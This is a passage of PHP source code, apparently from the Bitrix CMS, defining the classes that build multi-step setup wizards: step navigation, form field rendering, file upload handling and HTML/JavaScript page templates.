			$arValues =& $arValues[$token];
		} while (count($tokens) > 1);
		unset($arValues[array_pop($tokens)]);
	}

	function GetRealName($varName)
	{
		return $this->GetVarPrefix().$varName;
	}

	function GetVarPrefix()
	{
		return $this->variablePrefix;
	}

	function SetVarPrefix($varPrefix)
	{
		$this->variablePrefix = $varPrefix;
	}

	function SetDefaultVar($varName, $varValue)
	{
		$varName = str_replace("[]", "", $varName);

		if (!strpos($varName, '['))
			$this->defaultVars[$varName] = $varValue;
		else
			$this->__SetComplexVar($varName, $varValue, $this->defaultVars);
	}

	function SetDefaultVars($arVars)
	{
		if (!is_array($arVars))
			return;

		foreach ($arVars as $varName => $varValue)
			$this->SetDefaultVar($varName, $varValue);
	}

	function GetDefaultVar($varName)
	{
		$varName = str_replace("[]", "", $varName);

		if (array_key_exists($varName, $this->defaultVars))
			return $this->defaultVars[$varName];
		elseif (strpos($varName, '['))
			return $this->__GetComplexVar($varName, $this->defaultVars);

		return null;
	}

	function GetDefaultVars()
	{
		return $this->defaultVars;
	}

	function GetWizardName()
	{
		return $this->wizardName;
	}

	function SetFormName($formName)
	{
		$this->formName = $formName;
	}

	function GetFormName()
	{
		return $this->formName;
	}

	function SetFormActionScript($actionScript)
	{
		$this->formActionScript = $actionScript;
	}

	function GetFormActionScript()
	{
		return $this->formActionScript;
	}

	function IsNextButtonClick()
	{
		return ( isset($_REQUEST[$this->nextButtonID]) && isset($_REQUEST[$this->nextStepHiddenID]) );
	}

	function IsPrevButtonClick()
	{
		return ( isset($_REQUEST[$this->prevButtonID]) && isset($_REQUEST[$this->prevStepHiddenID]) );
	}

	function IsFinishButtonClick()
	{
		return ( isset($_REQUEST[$this->finishButtonID]) && isset($_REQUEST[$this->finishStepHiddenID]) );
	}

	function IsCancelButtonClick()
	{
		return ( isset($_REQUEST[$this->cancelButtonID]) && isset($_REQUEST[$this->cancelStepHiddenID]) );
	}

	function SetNextButtonID($buttonID)
	{
		$this->nextButtonID = $buttonID;
	}

	function GetNextButtonID()
	{
		return $this->nextButtonID;
	}

	function GetNextStepID()
	{
		if (isset($_REQUEST[$this->nextStepHiddenID]))
			return $_REQUEST[$this->nextStepHiddenID];

		return null;
	}

	function SetPrevButtonID($buttonID)
	{
		$this->prevButtonID = $buttonID;
	}

	function GetPrevButtonID()
	{
		return $this->prevButtonID;
	}

	function GetPrevStepID()
	{
		if (isset($_REQUEST[$this->prevStepHiddenID]))
			return $_REQUEST[$this->prevStepHiddenID];

		return null;
	}

	function SetFinishButtonID($buttonID)
	{
		$this->finishButtonID = $buttonID;
	}

	function GetFinishButtonID()
	{
		return $this->finishButtonID;
	}

	function GetFinishStepID()
	{
		if (isset($_REQUEST[$this->finishStepHiddenID]))
			return $_REQUEST[$this->finishStepHiddenID];

		return null;
	}

	function SetCancelButtonID($buttonID)
	{
		$this->cancelButtonID = $buttonID;
	}

	function GetCancelButtonID()
	{
		return $this->cancelButtonID;
	}

	function GetCancelStepID()
	{
		if (isset($_REQUEST[$this->cancelStepHiddenID]))
			return $_REQUEST[$this->cancelStepHiddenID];

		return null;
	}

	function SetReturnOutput($mode = true)
	{
		$this->returnOutput = (bool)$mode;
	}

	function GetPackage()
	{
		return $this->package;
	}

	function Display()
	{
		$currentStep = &$this->currentStepID;

		//What button has just been pressed
		if ($this->IsPrevButtonClick())
			$currentStep = $this->GetPrevStepID();
		elseif ($this->IsNextButtonClick())
			$currentStep = $this->GetNextStepID();
		elseif ($this->IsCancelButtonClick())
			$currentStep = $this->GetCancelStepID();
		elseif ($this->IsFinishButtonClick())
			$currentStep = $this->GetFinishStepID();

		//Execute current step action
		if ( isset($_REQUEST[$this->currentStepHiddenID]) && isset($this->wizardSteps[$_REQUEST[$this->currentStepHiddenID]]) )
		{
			$oCurrentStep = $this->wizardSteps[$_REQUEST[$this->currentStepHiddenID]];
			if (method_exists($oCurrentStep, "OnPostForm"))
			{
				$oCurrentStep->OnPostForm();
				if (count($oCurrentStep->stepErrors)>0)
					$currentStep = $_REQUEST[$this->currentStepHiddenID];
			}
		}

		//If step is not found, show a first step
		if (!isset($this->wizardSteps[$currentStep]))
		{
			if (isset($this->wizardSteps[$this->firstStepID]))
				$currentStep = $this->firstStepID;
			else
			{
				$this->__ShowError("Wizard has no any step");
				return;
			}
		}

		return $this->_DisplayStep();
	}

	function _DisplayStep()
	{
		$oStep = $this->GetCurrentStep();
		$oStep->ShowStep();

		$formStart = '<form action="'.htmlspecialcharsbx($this->formActionScript).'" enctype="multipart/form-data" method="post" name="'.htmlspecialcharsbx($this->formName).'" id="'.htmlspecialcharsbx($this->formName).'">';
		$formStart .= '<input type="hidden" name="'.htmlspecialcharsbx($this->currentStepHiddenID).'" value="'.htmlspecialcharsbx($this->currentStepID).'">';
		$formStart .= $this->__DisplayHiddenVars($this->GetVars(), $oStep);

		/*
		if ($oStep->prevStepID !== null)
			$strResult .= '<input type="submit" name="'.$this->prevButtonID.'" value="'.$oStep->prevCaption.'">
						<input type="hidden" name="'.$this->prevStepHiddenID.'" value="'.$oStep->prevStepID.'">';

		if ($oStep->nextStepID !== null)
			$strResult .= '<input type="submit" name="'.$this->nextButtonID.'" value="'.$oStep->nextCaption.'">
						<input type="hidden" name="'.$this->nextStepHiddenID.'" value="'.$oStep->nextStepID.'">';

		if ($oStep->finishStepID !== null)
			$strResult .= '<input type="submit" name="'.$this->finishButtonID.'" value="'.$oStep->finishCaption.'">
						<input type="hidden" name="'.$this->finishStepHiddenID.'" value="'.$oStep->finishStepID.'">';

		if ($oStep->cancelStepID !== null)
			$strResult .= '&nbsp;&nbsp;<input type="submit" name="'.$this->cancelButtonID.'" value="'.$oStep->cancelCaption.'">
						<input type="hidden" name="'.$this->cancelStepHiddenID.'" value="'.$oStep->cancelStepID.'">';
		*/

		$formEnd = "</form>";

		$stepLayout = $this->__GetStepLayout();
		$stepLayout = $stepLayout->GetLayout();

		$buttonsHtml = "";
		$prevButtonHtml = "";
		if ($oStep->prevStepID !== null)
		{
			$formStart .= '<input type="hidden" name="'.$this->prevStepHiddenID.'" value="'.$oStep->prevStepID.'">';
			$prevButtonHtml = '<input type="submit" class="wizard-prev-button" name="'.$this->prevButtonID.'" value="'.$oStep->prevCaption.'">';
			$buttonsHtml .= $prevButtonHtml;
		}

		$nextButtonHtml = "";
		if ($oStep->nextStepID !== null)
		{
			$formStart .= '<input type="hidden" name="'.$this->nextStepHiddenID.'" value="'.$oStep->nextStepID.'">';
			$nextButtonHtml = '<input type="submit" class="wizard-next-button" name="'.$this->nextButtonID.'" value="'.$oStep->nextCaption.'">';
			$buttonsHtml .= (strlen($buttonsHtml)>0 ? "&nbsp;" : "").$nextButtonHtml;
		}

		$finishButtonHtml = "";
		if ($oStep->finishStepID !== null)
		{
			$formStart .= '<input type="hidden" name="'.$this->finishStepHiddenID.'" value="'.$oStep->finishStepID.'">';
			$finishButtonHtml = '<input type="submit" class="wizard-finish-button" name="'.$this->finishButtonID.'" value="'.$oStep->finishCaption.'">';
			$buttonsHtml .= (strlen($buttonsHtml)>0 ? "&nbsp;" : "").$finishButtonHtml;
		}

		$cancelButtonHtml = "";
		if ($oStep->cancelStepID !== null)
		{
			$formStart .= '<input type="hidden" name="'.$this->cancelStepHiddenID.'" value="'.$oStep->cancelStepID.'">';
			$cancelButtonHtml = '<input type="submit" class="wizard-cancel-button" name="'.$this->cancelButtonID.'" value="'.$oStep->cancelCaption.'">';
			$buttonsHtml .= (strlen($buttonsHtml)>0 ? "&nbsp;&nbsp;&nbsp;" : "").$cancelButtonHtml;
		}

		$output = str_replace("{#FORM_START#}", $formStart, $stepLayout);
		$output = str_replace("{#FORM_END#}", $formEnd, $output);
		$output = str_replace("{#CONTENT#}", $oStep->content, $output);

		//$output = str_replace("{#BUTTONS#}", $this->__DisplayButtons(), $output);
		$output = str_replace("{#BUTTONS#}", $buttonsHtml, $output);
		$output = str_replace("{#BUTTON_PREVIOUS#}", $prevButtonHtml, $output);
		$output = str_replace("{#BUTTON_NEXT#}", $nextButtonHtml, $output);
		$output = str_replace("{#BUTTON_CANCEL#}", $finishButtonHtml, $output);
		$output = str_replace("{#BUTTON_FINISH#}", $cancelButtonHtml, $output);

		if ($this->returnOutput)
			return $output;
		else
			echo $output;
	}

	function __GetStepLayout()
	{
		if (defined("ADMIN_SECTION") && ADMIN_SECTION === true && $this->useAdminTemplate === true)
		{
			$template = new CWizardAdminTemplate;
			$template->_SetWizard($this);
			return $template;
		}
		elseif (isset($this->arTemplates[$this->currentStepID]))
		{
			return $this->arTemplates[$this->currentStepID];
		}
		elseif (is_object($this->defaultTemplate))
		{
			return $this->defaultTemplate;
		}
		else
		{
			$template = new CWizardTemplate;
			$template->_SetWizard($this);
			return $template;
		}
	}

	function __DisplayHiddenVars($arVars, $oStep, $concatString = null)
	{
		$strReturn = "";

		foreach ($arVars as $varName => $varValue)
		{
			if ($concatString !== null)
				$varName = $concatString."[".$varName."]";

			if ($oStep->DisplayVarExists($varName))
				continue;

			if (is_array($varValue))
				$strReturn .= $this->__DisplayHiddenVars($varValue, $oStep, $varName);
			else
				$strReturn .= '<input type="hidden" name="'.htmlspecialcharsbx($this->GetVarPrefix().$varName).'" value="'.htmlspecialcharsEx($varValue).'">
			';
		}

		return $strReturn;
	}

	function __ShowError($errorMessage)
	{
		if (strlen($errorMessage) > 0)
			echo '<span style="color:#FF0000">'.$errorMessage.'</span>';
	}

	/* Old  compatible Methods*/
	function GetID()
	{
		if ($this->package === null)
			return "";
		return $this->package->GetID();
	}

	function GetPath()
	{
		if ($this->package === null)
			return "";
		return $this->package->GetPath();
	}

	function GetSiteTemplateID()
	{
		if ($this->package === null)
			return null;

		return $this->package->GetSiteTemplateID();
	}

	function GetSiteGroupID()
	{
		if ($this->package === null)
			return null;

		return $this->package->GetSiteGroupID();
	}

	function GetSiteID()
	{
		if ($this->package === null)
			return null;

		return $this->package->GetSiteID();
	}

	function GetSiteServiceID()
	{
		if ($this->package === null)
			return null;

		return $this->package->GetSiteServiceID();
	}
	/* Old compatible methods */

}

class CWizardStep
{
	var $stepTitle;
	var $stepSubTitle;
	var $stepID;

	var $nextStepID;
	var $prevStepID;
	var $finishStepID;
	var $cancelStepID;

	var $nextCaption;
	var $prevCaption;
	var $finishCaption;
	var $cancelCaption;

	var $displayVars;
	var $stepErrors;

	var $wizard; // reference to wizard object
	var $content;

	var $autoSubmit;

	public function __construct()
	{
		$this->stepTitle = "";
		$this->stepSubTitle = "";
		$this->stepID = null;

		$this->prevCaption = GetMessage("MAIN_WIZARD_PREV_CAPTION");
		$this->nextCaption = GetMessage("MAIN_WIZARD_NEXT_CAPTION");
		$this->finishCaption = GetMessage("MAIN_WIZARD_FINISH_CAPTION");
		$this->cancelCaption = GetMessage("MAIN_WIZARD_CANCEL_CAPTION");

		$this->nextStepID = null;
		$this->prevStepID = null;
		$this->finishStepID = null;
		$this->cancelStepID = null;

		$this->wizard = null;
		$this->displayVars = Array();
		$this->stepErrors = Array();

		$this->content = "";

		$this->autoSubmit = false;
	}

	/** @deprecated */
	public function CWizardStep()
	{
		self::__construct();
	}

	//Step initialization
	function InitStep()
	{
		//should be overloaded
	}

	//Step action
	function OnPostForm()
	{
		//should be overloaded
	}

	//Step output
	function ShowStep()
	{
		//should be overloaded
	}

	function SetTitle($title)
	{
		$this->stepTitle = $title;
	}

	function GetTitle()
	{
		return $this->stepTitle;
	}

	function SetSubTitle($stepSubTitle)
	{
		$this->stepSubTitle = $stepSubTitle;
	}

	function GetSubTitle()
	{
		return $this->stepSubTitle;
	}

	function SetStepID($stepID)
	{
		$this->stepID = $stepID;
	}

	function GetStepID()
	{
		return $this->stepID;
	}

	function SetNextStep($stepID)
	{
		$this->nextStepID = $stepID;
	}

	function GetNextStepID()
	{
		return $this->nextStepID;
	}

	function SetNextCaption($caption)
	{
		$this->nextCaption = $caption;
	}

	function GetNextCaption()
	{
		return $this->nextCaption;
	}

	function SetPrevStep($stepID)
	{
		$this->prevStepID = $stepID;
	}

	function GetPrevStepID()
	{
		return $this->prevStepID;
	}

	function SetPrevCaption($caption)
	{
		$this->prevCaption = $caption;
	}

	function GetPrevCaption()
	{
		return $this->prevCaption;
	}

	function SetFinishStep($stepID)
	{
		$this->finishStepID = $stepID;
	}

	function GetFinishStepID()
	{
		return $this->finishStepID;
	}

	function SetFinishCaption($caption)
	{
		$this->finishCaption = $caption;
	}

	function GetFinishCaption()
	{
		return $this->finishCaption;
	}

	function SetCancelStep($stepID)
	{
		$this->cancelStepID = $stepID;
	}

	function GetCancelStepID()
	{
		return $this->cancelStepID;
	}

	function SetCancelCaption($caption)
	{
		$this->cancelCaption = $caption;
	}

	function GetCancelCaption()
	{
		return $this->cancelCaption;
	}

	function SetDisplayVars($arVars)
	{
		if (!is_array($arVars))
			return;

		$wizard = $this->GetWizard();
		foreach ($arVars as $varName)
		{
			$varName = str_replace("[]", "", $varName);
			if (!in_array($varName, $this->displayVars))
				$this->displayVars[] = $varName;
		}
	}

	function DisplayVarExists($varName)
	{
		$varName = str_replace("[]", "", $varName);

		if (in_array($varName, $this->displayVars, true))
			return true;
		return null;
	}

	function GetDisplayVars()
	{
		return $this->displayVars;
	}

	function SetError($strError, $id = false)
	{
		$this->stepErrors[] = Array($strError, $id);
	}

	function GetErrors()
	{
		return $this->stepErrors;
	}

	//Text and textarea controls
	function ShowInputField($type, $name, $arAttributes = Array())
	{
		$strReturn = "";
		$wizard = $this->GetWizard();
		$prefixName = $wizard->GetRealName($name);
		$value = (($v = $wizard->GetVar($name)) <> '' ? $v : $wizard->GetDefaultVar($name));

		$this->SetDisplayVars(Array($name));

		switch ($type)
		{
			case "text":
				if (!isset($arAttributes["size"]))
					$arAttributes["size"] = 10;
				$strReturn .= '<input type="text" name="'.htmlspecialcharsbx($prefixName).'" value="'.htmlspecialcharsEx($value).'"'.$this->_ShowAttributes($arAttributes).' />';
			break;

			case "password":
				if (!isset($arAttributes["size"]))
					$arAttributes["size"] = 10;
				$strReturn .= '<input type="password" name="'.htmlspecialcharsbx($prefixName).'" value="'.htmlspecialcharsEx($value).'"'.$this->_ShowAttributes($arAttributes).' />';
			break;

			case "textarea":
				$strReturn .= '<textarea name="'.htmlspecialcharsbx($prefixName).'"'.$this->_ShowAttributes($arAttributes).'>'.htmlspecialcharsEx($value).'</textarea>';
			break;
		}

		return $strReturn;
	}

	//Checkbox control
	function ShowCheckboxField($name, $value, $arAttributes = Array())
	{
		$this->SetDisplayVars(Array($name));
		$wizard = $this->GetWizard();

		$valueFromPost = $wizard->GetVar($name);
		if ($valueFromPost !== null && !is_array($valueFromPost))
			$valueFromPost = Array($valueFromPost);

		$valueFromDefault = $wizard->GetDefaultVar($name);
		if ($valueFromDefault !== null && !is_array($valueFromDefault))
			$valueFromDefault = Array($valueFromDefault);

		$checked = (
			(($valueFromPost !== null && in_array($value, $valueFromPost)) ||
			($valueFromDefault !== null && $valueFromPost == "" && in_array($value, $valueFromDefault)))
				&&
			($arAttributes["checked"] !== false)
		);

		static $arViewedField = Array();
		$viewName = str_replace("[]", "", $name);
		$strReturn = "";

		if (!in_array($viewName, $arViewedField) /*&& !$valueWasViewed*/)
		{
			$arViewedField[] = $viewName;
			$strReturn .= '<input name="'.htmlspecialcharsbx($wizard->GetRealName($viewName)).'" value="" type="hidden" />';
		}

		$prefixName = $wizard->GetRealName($name);
		$strReturn .= '<input name="'.htmlspecialcharsbx($prefixName).'" '.($checked ?"checked=\"checked\" ":"").'type="checkbox" value="'.htmlspecialcharsEx($value).'"'.$this->_ShowAttributes($arAttributes).' />';

		return $strReturn;

	}

	//Radio button control
	function ShowRadioField($name, $value, $arAttributes = Array())
	{
		$this->SetDisplayVars(Array($name));
		$wizard = $this->GetWizard();

		$valueFromPost = $wizard->GetVar($name);
		if ($valueFromPost !== null && !is_array($valueFromPost))
			$valueFromPost = Array($valueFromPost);

		$valueFromDefault = $wizard->GetDefaultVar($name);
		if ($valueFromDefault !== null && !is_array($valueFromDefault))
			$valueFromDefault = Array($valueFromDefault);

		static $arCheckedField = Array();
		$checked = false;
		$checkName = str_replace("[]", "", $name);

		if (!in_array($checkName, $arCheckedField))
		{
			$checked = (
				($valueFromPost !== null && in_array($value, $valueFromPost)) ||
				($valueFromDefault !== null && $valueFromPost === null && in_array($value, $valueFromDefault))
			);

			if ($checked)
				$arCheckedField[] = $checkName;
		}

		$prefixName = $wizard->GetRealName($name);
		return '<input name="'.htmlspecialcharsbx($prefixName).'" type="radio" '.($checked ?"checked=\"checked\" ":"").'value="'.htmlspecialcharsEx($value).'"'.$this->_ShowAttributes($arAttributes).' />';
	}

	//Dropdown and multiple controls
	function ShowSelectField($name, $arValues = Array(), $arAttributes = Array())
	{
		$wizard = $this->GetWizard();
		$this->SetDisplayVars(Array($name));

		$varValue = $wizard->GetVar($name);
		$selectedValues = (
			$varValue !== null && $varValue != "" ?
			$varValue :
			(
				$varValue === "" ?
				Array() :
				$wizard->GetDefaultVar($name)
			)
		);

		if (!is_array($selectedValues))
			$selectedValues = Array($selectedValues);

		$viewName = $wizard->GetRealName(str_replace("[]", "", $name));
		$strReturn = '<input name="'.htmlspecialcharsbx($viewName).'" value="" type="hidden" />';

		$prefixName = $wizard->GetRealName($name);
		$strReturn .= '<select name="'.htmlspecialcharsbx($prefixName).'"'.$this->_ShowAttributes($arAttributes).'>';

		foreach ($arValues as $optionValue => $optionName)
			$strReturn .= '<option value="'.htmlspecialcharsEx($optionValue).'"'.(in_array($optionValue, $selectedValues) ? " selected=\"selected\"" :"").'>'.htmlspecialcharsEx($optionName).'</option>
			';

		$strReturn .= '</select>';

		return $strReturn;
	}

	//Hidden control
	function ShowHiddenField($name, $value, $arAttributes = Array())
	{
		$wizard = $this->GetWizard();

		$this->SetDisplayVars(Array($name));
		$trueName = $wizard->GetRealName($name);

		$strReturn = '<input type="hidden" name="'.htmlspecialcharsbx($trueName).'" value="'.htmlspecialcharsEx($value).'"'.$this->_ShowAttributes($arAttributes).' />';

		return $strReturn;
	}

	//File control
	function ShowFileField($name, $arAttributes = Array())
	{
		$wizard = $this->GetWizard();
		$strReturn = "";

		if (array_key_exists("max_file_size", $arAttributes))
		{
			$strReturn .= '<input type="hidden" name="MAX_FILE_SIZE" value="'.intval($arAttributes["max_file_size"]).'" />';
			unset($arAttributes["max_file_size"]);
		}

		$strReturn .= '<input type="file" name="'.htmlspecialcharsbx($wizard->GetRealName($name."_new")).'"'.$this->_ShowAttributes($arAttributes).' />';

		$fileID = intval($wizard->GetVar($name));
		if ($fileID > 0)
		{
			$obFile = CFile::GetByID($fileID);
			if ($arFile = $obFile->Fetch())
			{
				$deleteName = $wizard->GetRealName($name."_del");
				$oldName = $wizard->GetRealName($name."_old");

				$show_file_info = (isset($arAttributes["show_file_info"]) && $arAttributes["show_file_info"] == "N" ? false : true);

				if ($show_file_info)
				{
					$strReturn .= "<br />&nbsp;".GetMessage("MAIN_WIZARD_FILE_NAME").": ".htmlspecialcharsEx($arFile["ORIGINAL_NAME"]);

					if ($arFile["HEIGHT"] > 0 && $arFile["WIDTH"])
					{
						$strReturn .= "<br />&nbsp;".GetMessage("MAIN_WIZARD_FILE_WIDTH").": ".intval($arFile["WIDTH"]);
						$strReturn .= "<br />&nbsp;".GetMessage("MAIN_WIZARD_FILE_HEIGHT").": ".intval($arFile["HEIGHT"]);
					}

					$sizes = array("b", "Kb", "Mb", "Gb");
					$pos = 0;
					$size = $arFile["FILE_SIZE"];
					while($size >= 1024)
					{
						$size /= 1024;
						$pos++;
					}
					$strReturn .= "<br />&nbsp;".GetMessage("MAIN_WIZARD_FILE_SIZE").": ".round($size, 2)." ".$sizes[$pos];
				}

				$strReturn .= '<br />';
				$strReturn .= '<input type="checkbox" name="'.$deleteName.'" value="Y" id="'.$deleteName.'" />';
				$strReturn .= '<label for="'.$deleteName.'">'.GetMessage("MAIN_WIZARD_FILE_DELETE").'</label>';
			}
		}

		return $strReturn;

	}

	function SaveFile($name, $arRestriction = Array())
	{
		$wizard = $this->GetWizard();
		$deleteFile = $wizard->GetVar($name."_del");
		$wizard->UnSetVar($name."_del");
		$oldFileID = $wizard->GetVar($name);
		$fileNew = $wizard->GetRealName($name."_new");

		if (!array_key_exists($fileNew, $_FILES) || (strlen($_FILES[$fileNew]["name"]) <= 0 && $deleteFile === null))
			return;

		if (strlen($_FILES[$fileNew]["tmp_name"]) <= 0 && $deleteFile === null)
		{
			$this->SetError(GetMessage("MAIN_WIZARD_FILE_UPLOAD_ERROR"), $name."_new");
			return;
		}

		$arFile = $_FILES[$fileNew] + Array(
			"del" => ($deleteFile == "Y" ? "Y" : ""),
			"old_file" => (intval($oldFileID) > 0 ? intval($oldFileID): 0 ),
			"MODULE_ID" => "tmp_wizard"
		);

		$max_file_size = (array_key_exists("max_file_size", $arRestriction) ? intval($arRestriction["max_file_size"]) : 0);
		$max_width = (array_key_exists("max_width", $arRestriction) ? intval($arRestriction["max_width"]) : 0);
		$max_height = (array_key_exists("max_height", $arRestriction) ? intval($arRestriction["max_height"]) : 0);
		$extensions = (array_key_exists("extensions", $arRestriction) && strlen($arRestriction["extensions"]) > 0 ? trim($arRestriction["extensions"]) : false);
		$make_preview = (array_key_exists("make_preview", $arRestriction) && $arRestriction["make_preview"] == "Y" ? true : false);

		$error = CFile::CheckFile($arFile, $max_file_size, false, $extensions);
		if (strlen($error)>0)
		{
			$this->SetError($error, $name."_new");
			return;
		}

		if ($make_preview && $max_width > 0 && $max_height > 0)
		{
			list($sourceWidth, $sourceHeight, $type, $attr) = CFile::GetImageSize($arFile["tmp_name"]);

			if ($sourceWidth > $max_width || $sourceHeight > $max_height)
			{
				$success = CWizardUtil::CreateThumbnail($arFile["tmp_name"], $arFile["tmp_name"], $max_width, $max_height);
				if ($success)
					$arFile["size"] = @filesize($arFile["tmp_name"]);
			}
		}
		elseif ($max_width > 0 || $max_height > 0)
		{
			$error = CFile::CheckImageFile($arFile, $max_file_size, $max_width, $max_height);
			if (strlen($error)>0)
			{
				$this->SetError($error, $name."_new");
				return;
			}
		}

		$fileID = (int)CFile::SaveFile($arFile, "tmp");
		if ($fileID > 0)
			$wizard->SetVar($name, $fileID);
		else
			$wizard->UnSetVar($name);

		return $fileID;
	}

	function _ShowAttributes($arAttributes)
	{
		if (!is_array($arAttributes))
			return "";

		$strReturn = "";
		foreach ($arAttributes as $name => $value)
			$strReturn .= ' '.htmlspecialcharsbx($name).'="'.htmlspecialcharsEx($value).'"';

		return $strReturn;
	}

	/**
	 * Returns wizard reference
	 *
	 * @return CWizardBase
	 */
	function GetWizard()
	{
		return $this->wizard;
	}

	function _SetWizard($wizard)
	{
		$this->wizard = $wizard;
	}

	function SetAutoSubmit($bool = true)
	{
		$this->autoSubmit = (bool)$bool;
	}

	function IsAutoSubmit()
	{
		return (bool)$this->autoSubmit;
	}

}

class CWizardTemplate
{
	var $wizard;

	function GetLayout()
	{
		$wizard = $this->GetWizard();
		$obStep = $wizard->GetCurrentStep();

		$wizardName = htmlspecialcharsEx($wizard->GetWizardName());
		$formName = htmlspecialcharsbx($wizard->GetFormName());

		$nextButtonID = htmlspecialcharsbx($wizard->GetNextButtonID());
		$prevButtonID = htmlspecialcharsbx($wizard->GetPrevButtonID());
		$cancelButtonID = htmlspecialcharsbx($wizard->GetCancelButtonID());
		$finishButtonID = htmlspecialcharsbx($wizard->GetFinishButtonID());

		if (isset($GLOBALS["APPLICATION"]) && is_object($GLOBALS["APPLICATION"]))
		{
			$GLOBALS["APPLICATION"]->AddHeadString($styles);
			IncludeAJAX();
		}
		//IncludeAJAX();

		$styles = <<<STYLES
<style type="text/css">
			/*Data table*/
			table.wizard-data-table
			{
				border:1px solid #7d7d7d;
				border-collapse:collapse;
			}

			/*Any cell*/
			table.wizard-data-table td
			{
				border:1px solid #7d7d7d;
				background-color:#FFFFFF;
				padding:3px 5px;
			}

			/*Head cell*/
			table.wizard-data-table thead td, table.wizard-data-table th
			{
				background-color:#F2F2EA;
				font-weight:normal;
				background-image:none;
				border:1px solid #7d7d7d;
				padding:4px;
			}

			/*Body cell*/
			table.wizard-data-table tbody td
			{
				background-color:#FFF;
				background-image:none;
			}

			/*Foot cell*/
			table.wizard-data-table tfoot td
			{
				background-color:#fff;
				padding:4px;
			}

			.wizard-note-box
			{
				background:#EAE9E4;
				padding:7px;
				border:1px solid #797672;
			}

			.wizard-required
			{
				color:red;
			}
</style>
STYLES;
		//$GLOBALS["APPLICATION"]->AddHeadString($styles);

		$arErrors = $obStep->GetErrors();
		$strError = "";
		if (count($arErrors) > 0)
		{
			foreach ($arErrors as $arError)
				$strError .= $arError[0]."<br />";

			$strError = '<tr><td style="padding-top: 10px; padding-left: 20px; color:red;">'.$strError.'</td></tr>';
		}

		$stepTitle = $obStep->GetTitle();
		$stepSubTitle = $obStep->GetSubTitle();

		$autoSubmit = "";
		if ($obStep->IsAutoSubmit())
			$autoSubmit = 'setTimeout("WizardAutoSubmit();", 500);';

		$BX_ROOT = BX_ROOT;

		$alertText = GetMessageJS("MAIN_WIZARD_WANT_TO_CANCEL");
		$loadingText = GetMessageJS("MAIN_WIZARD_WAIT_WINDOW_TEXT");

		return <<<HTML

{#FORM_START#}
<table style="border:2px outset #D4D0C8; background-color: #D4D0C8;" border="0" cellpadding="0" cellspacing="0" height="370" width="100%">
	<tr>
		<td style="background-color: #142F73" height="1"><span style="color:white; font-weight:bold; text-align:left; padding-left: 2px;">{$wizardName}</span></td>
	</tr>

	<tr>
		<td style="height: 60px; border-bottom:2px groove  #aca899; background-color: #ffffff; padding: 8px;" valign="top">
			<div style="padding-top: 5px; padding-left: 20px;"><b>{$stepTitle}</b></div>
			<div style="padding-left: 40px;">{$stepSubTitle}</div>
		</td>
	</tr>

	{$strError}

	<tr>
		<td style="padding: 20px; padding-left: 28px;padding-right: 28px;" valign="top" id="wizard-content-area" height="100%">{#CONTENT#}</td>
	</tr>

	<tr>
		<td style="height: 40px; border-top:2px groove #ffffff; padding-right: 15px;" align="right">{#BUTTONS#}</td>
	</tr>
</table>
{#FORM_END#}

<script type="text/javascript">

function WizardAutoSubmit()
{
	var nextButton = document.forms["{$formName}"].elements["{$nextButtonID}"];
	if (nextButton)
	{
		WaitWindow.Show();

		nextButton.click();
		nextButton.disabled=true;
	}
}

function WizardOnLoad()
{
	{$autoSubmit}

	var cancelButton = document.forms["{$formName}"].elements["{$cancelButtonID}"];
	var nextButton = document.forms["{$formName}"].elements["{$nextButtonID}"];
	var prevButton = document.forms["{$formName}"].elements["{$prevButtonID}"];
	var finishButton = document.forms["{$formName}"].elements["{$finishButtonID}"];

	if (cancelButton && !nextButton && !prevButton && !finishButton)
		cancelButton.onclick = CloseWindow;
	else if(cancelButton)
		cancelButton.onclick = ConfirmCancel;
}

function CloseWindow()
{
	window.location = '/';
	return false;
}

function ConfirmCancel()
{
	return (confirm("{$alertText}"));
}

function CWaitWindow()
{
	this.Show = function()
	{
		try
		{
			var oDiv = document.createElement("DIV");
			oDiv.id = "__bx_wait_window";
			oDiv.style.width = "170px";
			oDiv.style.border = "1px solid #EACB6B";
			oDiv.style.textAlign = "center";
			oDiv.style.backgroundColor = "#FCF7D1";
			oDiv.style.position = "relative";
			oDiv.style.padding = "10px";
			oDiv.style.backgroundImage = "url({$BX_ROOT}/themes/.default/images/wait.gif)";
			oDiv.style.backgroundPosition = "10px center";
			oDiv.style.backgroundRepeat = "no-repeat";
			oDiv.style.left = "35%";
			oDiv.style.top = "50%";
			oDiv.style.zIndex = "3000";
			oDiv.innerHTML = "{$loadingText}";
			document.getElementById("wizard-content-area").appendChild(oDiv);
		}
		catch(e){}
	}

	this.Hide = function()
	{
		try
		{
			var oDiv = document.getElementById("__bx_wait_window");
			oDiv.parentNode.removeChild(oDiv);
			oDiv = null;
		}catch(e){}
	}
}

var WaitWindow = new CWaitWindow();
WizardOnLoad();

</script>

HTML;
	}

	/**
	 * Returns wizard reference
	 *
	 * @return CWizardBase
	 */
	function GetWizard()
	{
		return $this->wizard;
	}

	function _SetWizard($wizard)
	{
		$this->wizard = $wizard;
	}

}


class CWizardAdminTemplate extends CWizardTemplate
{

	function GetLayout()
	{
		$wizard = $this->GetWizard();

		$formName = htmlspecialcharsbx($wizard->GetFormName());

		CUtil::InitJSCore(array("ajax"));

		$adminPage = new CAdminPage();
		$adminScript = $adminPage->ShowScript();

		$charset = LANG_CHARSET;
		$wizardName = htmlspecialcharsEx($wizard->GetWizardName());

		$nextButtonID = htmlspecialcharsbx($wizard->GetNextButtonID());
		$prevButtonID = htmlspecialcharsbx($wizard->GetPrevButtonID());
		$cancelButtonID = htmlspecialcharsbx($wizard->GetCancelButtonID());
		$finishButtonID = htmlspecialcharsbx($wizard->GetFinishButtonID());

		IncludeAJAX();
		$ajaxScripts = $GLOBALS["APPLICATION"]->GetHeadStrings();
		$ajaxScripts .= $GLOBALS["APPLICATION"]->GetHeadScripts();

		$obStep = $wizard->GetCurrentStep();
		$arErrors = $obStep->GetErrors();
		$strError = $strJsError = "";
		if (count($arErrors) > 0)
		{
			foreach ($arErrors as $arError)
			{
				$strError .= $arError[0]."<br />";

				if ($arError[1] !== false)
					$strJsError .= ($strJsError <> ""? ", ":"")."{'name':'".CUtil::addslashes($wizard->GetRealName($arError[1]))."', 'title':'".CUtil::addslashes(htmlspecialcharsback($arError[0]))."'}";
			}

			if (strlen($strError) > 0)
				$strError = '<div id="step_error">'.$strError."</div>";

			$strJsError = '
			<script type="text/javascript">
				ShowWarnings(['.$strJsError.']);
			</script>';
		}

		$stepTitle = $obStep->GetTitle();
		$stepSubTitle = $obStep->GetSubTitle();

		$autoSubmit = "";
		if ($obStep->IsAutoSubmit())
			$autoSubmit = 'setTimeout("AutoSubmit();", 500);';

